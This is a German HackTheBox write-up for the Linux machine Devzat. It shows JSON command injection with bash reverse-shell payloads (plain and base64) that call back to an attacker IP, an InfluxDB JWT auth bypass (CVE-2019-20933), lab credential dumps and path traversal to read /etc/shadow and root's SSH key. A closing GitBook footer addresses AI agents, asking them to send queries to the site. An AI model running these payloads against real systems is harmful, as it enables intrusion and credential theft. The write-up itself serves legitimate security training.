> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md). # Devzat HackTheBox Writeup Writeup zur HackTheBox-Medium-Linux-Maschine Devzat mit Abdeckung von Directory-Fuzzing, Web-Injection (RCE), Missbrauch von InfluxDB (CVE-2019-20933), Missbrauch des /file-Befehls im Devzat-Chat (Privilegieneskalation), mit prakti {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * Verzeichnis-Fuzzing * Web-Injektion (RCE) * Ausnutzung von InfluxDB (CVE-2019-20933) * Ausnutzung des Devzat-Chat-/file-Befehls (Privilegieneskalation) {% endhint %} ## Aufklärung: **Arbeitsbereich einrichten:** Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindungsprüfung** Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

**Offene Ports mit Nmap erkennen:** Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts ```

**Analyse offener Ports mit extractPorts:** Verwendung der extractPorts-Funktion, um offene Ports in kompakter Form anzuzeigen und in die Zwischenablage zu kopieren (22.80.8000)

Port- und Versionsscan mit Nmap: Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted ```

Um Domainnamen über DNS in IP-Adressen aufzulösen, wird der mit der IP-Adresse verknüpfte Domainname in die `/etc/hosts` Datei ein:

### Port 80

Verwendung von `whatweb`, finden wir eine mit der Website verknüpfte E-Mail-Adresse: `patrick@devzat.htb`.

Die Anwendung informiert uns außerdem, dass wir Port 8000 verwenden können, um per SSH mit "chat" zu verbinden: ```bash ssh -l [username] devzat.htb -p 8000 ```

### Port 8000: Wir versuchen, uns zu verbinden, aber es tritt ein Problem auf, da ein SSH-Schlüssel erforderlich ist: ```bash ssh -l jordan devzat.htb -p 8000 ```

**Vorübergehendes Erzwingen der Verwendung von SSH-RSA:** Wir geben den für diese Sitzung zu verwendenden SSH-Schlüsseltyp mit der folgenden Option an: ```bash ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa ```

### **Projekt Devzat (SSH-Chat):** {% hint style="info" %} Devzat ist ein benutzerdefinierter SSH-Server, der sich mit einem Chat statt mit einer Befehlszeile verbindet. Da SSH-Anwendungen auf allen Plattformen verfügbar sind (einschließlich Smartphones), kannst du dich von jedem Gerät aus mit Devzat verbinden. {% endhint %} Hier ist eine Liste von Befehlen, die in diesem Chat ausgeführt werden können:

### Fuzzing **Verzeichnisse:** Wir verwenden `gobuster` um Verzeichnisse auf der Website aufzulisten: ```bash gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` Es wurden keine interessanten Ergebnisse gefunden.

### **Subdomain-Fuzzing** Wir suchen Subdomains mit `gobuster`: ```bash gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302" ``` Wir entdecken die `pets.devzat.htb` Subdomain und fügen sie der `/etc/hosts` Datei vorhanden sind.

## **Schwachstelle (RCE) JSON :**

Wir haben die Möglichkeit, „pets“ mit ihrer Art hinzuzufügen, was eine JSON-Injektion ermöglicht.

Wir fangen Anfragen mit Burp Suite ab und versuchen, die Anfrage zu manipulieren, indem wir einen Eintrag mit Name und Art hinzufügen:

Dieser Eintrag wird interpretiert und ermöglicht so eine Injektion. ```json { "Name": "jordan", "Species": "jordan" } ```

Wir lauschen auf ICMP-Pakete, um die Kommunikation zu beobachten und Befehlsinjektionen zu testen: ```bash sudo tcpdump -i tun0 icmp ``` Wir erhalten ein Ping-Antwortpaket, was die Möglichkeit der Ausführung von Remote-Code bestätigt.

Dann senden wir eine Anfrage mit `curl` an unseren Python-Server und erhalten ebenfalls eine Anfrage, was die Remote-Code-Execution-Schwachstelle bestätigt. ```bash { "Name": "jordan", "Species": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\"" } ```

### Umkehr-Shell Wir versuchen, eine Reverse Shell zu erzeugen: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261" ``` Allerdings tritt ein Ausgabefehler auf.

**Fehlerbehebung (Reverse Shell):** Um diesen Fehler zu beheben, erstellen wir eine HTML-Datei mit der Reverse Shell, die wir in Base64 codieren: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.12/443 0>&1 ``` Wir konvertieren diese Datei in Base64: ```bash base64 -w 0 index.html ```

In der Anfrage führen wir das Echo des codierten Base64-Strings aus und dekodieren ihn, bevor wir die Shell starten: {% code overflow="wrap" %} ```bash { "Name": "jordan", "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash" } ``` {% endcode %} Erneut lauschen wir auf Port 443 und erhalten eine umgekehrte Shell.

#### **Terminal-Handhabung:** Um unsere Sitzung zu stabilisieren, verwenden wir die folgenden Befehle: ```bash script /dev/null -c bash # Strg+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Privilegieneskalation Wir stellen fest, dass höhere Privilegien erforderlich sind. Wir müssen wechseln, um Zugriff auf das `catherine` Benutzerkonto zu erhalten.

#### Identifikation offener Ports Zunächst beobachten wir die intern geöffneten Ports mit dem folgenden Befehl: ```bash netstat -nltp ``` Die offenen Ports sind: * 8086 * 8443 * 5000

### Portweiterleitung (SSH) Wir leiten interne Ports mithilfe des privaten Schlüssels des Benutzers auf unsere Angriffsmaschine um und setzen die richtigen Berechtigungen: ```bash chmod 600 id_rsa ```

```bash sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa ``` Anschließend verwenden wir `nmap` , um die weitergeleiteten Ports zu scannen: ```bash nmap -sCV -p5000,8443,8086 localhost -oN targeted ``` ### Port 5000:

Wir stellen fest, dass dieser Port mit demselben Dienst verbunden ist, der auf Port 8000 gefunden wurde, was uns keinen zusätzlichen Ausnutzungspfad bietet.

### **Port 8086 (InfluxDB)** Der Dienst auf Port 8086 ist InfluxDB, Version 1.7.5. Wir identifizieren eine NCE-(Remote Code Execution)-Schwachstelle in InfluxDB:

**Schwachstelle :** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933) {% embed url="" %} {% hint style="info" %} Diese Schwachstelle ermöglicht es, die Authentifizierung zu umgehen, indem ein JWT-Token verwendet wird, dessen `SharedSecret` leer ist (auch bekannt als Shared Secret), wodurch wir Zugriff auf die Datenbank erhalten. {% endhint %}

#### Zugriff auf die Datenbank Nachdem wir mit InfluxDB verbunden sind, listen wir die verfügbaren Datenbanken auf: ```sql SHOW DATABASES; ``` Wir wählen die `devzat` Datenbank aus und untersuchen Benutzerdaten. Wir beginnen mit der Auflistung der „Messungen“ (Tabellen): ```sql SHOW MEASUREMENTS; ``` Das **`Benutzer`** Tabelle enthält nützliche Informationen. Um die Spalten dieser Messung zu untersuchen, führen wir aus: ```sql SHOW FIELD KEYS FROM "user"; ``` Anschließend zeigen wir die ersten 10 Ergebnisse der `Benutzer` Tabelle: ```sql SELECT * FROM "user" LIMIT 10; ```


Passwort	Benutzername
WillyWonka2021	wilhelm
woBeeYareedahc7Oogeephies7Aiseci	catherine
RoyalQueenBee$	charles

Das Passwort des Benutzers catherine ist **`woBeeYareedahc7Oogeephies7Aiseci`**, wodurch wir das **Flag** Benutzer. ### Flagge user.txt :) Wir erhalten erfolgreich Zugriff und wechseln zu `catherine`.

### Port 8443 (Devzat - Produktion) Port 8443 ist einer Produktionsinstanz von Devzat zugeordnet. Wir stellen fest, dass ein `Datei` Parameter alle Dateien im System als root auflistet. Der Zugriff auf diese Funktion ist jedoch durch ein Passwort geschützt.

Wir versuchen, das Passwort von catherine zu verwenden, aber es schlägt fehl. Nun müssen wir nach Dateien suchen, die catherine auf dem System lesen kann.

### Nach von Catherine zugänglichen Dateien suchen Wir verwenden den folgenden Befehl, um nach allen von catherine lesbaren Dateien zu suchen: ```bash find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc" ``` Wir finden zwei `.zip` Backup-Dateien: * `/var/backups/devzat-main.zip` * `/var/backups/devzat-dev.zip` Wir laden die `devzat-dev.zip` Backup-Datei herunter und filtern ihren Inhalt nach Passwörtern. Wir finden ein nützliches Passwort: **`CeilingCatStillAThingIn2021?`**.

Anschließend versuchen wir, dieses Passwort zu verwenden, um auf die `/etc/shadow` Datei über den `Datei` Parameter ist: ```bash /file /etc/shadows CeilingCatStillAThingIn2021? ``` Obwohl das Passwort korrekt ist, ist ein **Pfad-Traversal** erforderlich, um vollen Zugriff zu erhalten. Wir verwenden den folgenden Befehl, um im Dateisystem zu navigieren:

```bash /file ../../../../etc/shadow CeilingCatStillAThingIn2021? ``` Es gelingt uns, die `/etc/shadow` Datei als root anzuzeigen.

### SSH-Zugriff als Root Schließlich verwenden wir einen weiteren Pfad-Traversal, um auf den Root-SSH-Schlüssel zuzugreifen: ```bash /file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021? ```

Wir laden den SSH-Schlüssel herunter und verbinden uns als root.

### root.txt-Flagge :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.